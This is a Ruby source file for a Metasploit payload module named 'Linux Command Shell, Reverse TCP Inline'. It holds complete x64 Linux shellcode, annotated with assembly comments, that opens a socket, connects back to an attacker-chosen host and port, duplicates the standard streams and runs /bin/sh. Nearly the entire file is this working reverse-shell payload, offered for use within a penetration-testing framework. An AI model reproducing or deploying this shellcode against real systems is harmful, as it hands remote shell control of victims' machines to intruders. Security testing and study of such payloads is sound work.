1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
module MetasploitModule
7
  CachedSize = 74
8

9
  include Msf::Payload::Single
10
  include Msf::Payload::Linux::X64::Prepends
11
  include Msf::Sessions::CommandShellOptions
12

13
  def initialize(info = {})
14
    super(
15
      merge_info(
16
        info,
17
        'Name' => 'Linux Command Shell, Reverse TCP Inline',
18
        'Description' => 'Connect back to attacker and spawn a command shell',
19
        'Author' => 'ricky',
20
        'License' => MSF_LICENSE,
21
        'Platform' => 'linux',
22
        'Arch' => ARCH_X64,
23
        'Handler' => Msf::Handler::ReverseTcp,
24
        'Session' => Msf::Sessions::CommandShellUnix,
25
        'Payload' => {
26
          'Offsets' =>
27
                  {
28
                    'LHOST' => [ 20, 'ADDR' ],
29
                    'LPORT' => [ 18, 'n' ]
30
                  },
31
          'Payload' =>
32
                       "\x6a\x29" + # pushq  $0x29
33
                       "\x58" + # pop    %rax
34
                       "\x99" + # cltd
35
                       "\x6a\x02" + # pushq  $0x2
36
                       "\x5f" + # pop    %rdi
37
                       "\x6a\x01" + # pushq  $0x1
38
                       "\x5e" + # pop    %rsi
39
                       "\x0f\x05" + # syscall
40
                       "\x48\x97" + # xchg   %rax,%rdi
41
                       "\x48\xb9\x02\x00" + # movabs $0x100007fb3150002,%rcx
42
                       "\x15\xb3" \
43
                       "\x7f\x00\x00\x01" \
44
                       "\x51" + # push   %rcx
45
                       "\x48\x89\xe6" + # mov    %rsp,%rsi
46
                       "\x6a\x10" + # pushq  $0x10
47
                       "\x5a" + # pop    %rdx
48
                       "\x6a\x2a" + # pushq  $0x2a
49
                       "\x58" + # pop    %rax
50
                       "\x0f\x05" + # syscall
51
                       "\x6a\x03" + # pushq  $0x3
52
                       "\x5e" + # pop    %rsi
53
                       "\x48\xff\xce" + # dec    %rsi
54
                       "\x6a\x21" + # pushq  $0x21
55
                       "\x58" + # pop    %rax
56
                       "\x0f\x05" + # syscall
57
                       "\x75\xf6" + # jne    27 <dup2_loop>
58
                       "\x6a\x3b" + # pushq  $0x3b
59
                       "\x58" + # pop    %rax
60
                       "\x99" + # cltd
61
                       "\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
62
                       "\x73\x68\x00" \
63
                       "\x53" + # push   %rbx
64
                       "\x48\x89\xe7" + # mov    %rsp,%rdi
65
                       "\x52" + # push   %rdx
66
                       "\x57" + # push   %rdi
67
                       "\x48\x89\xe6" + # mov    %rsp,%rsi
68
                       "\x0f\x05" # syscall
69
        }
70
      )
71
    )
72
  end
73
end
74

75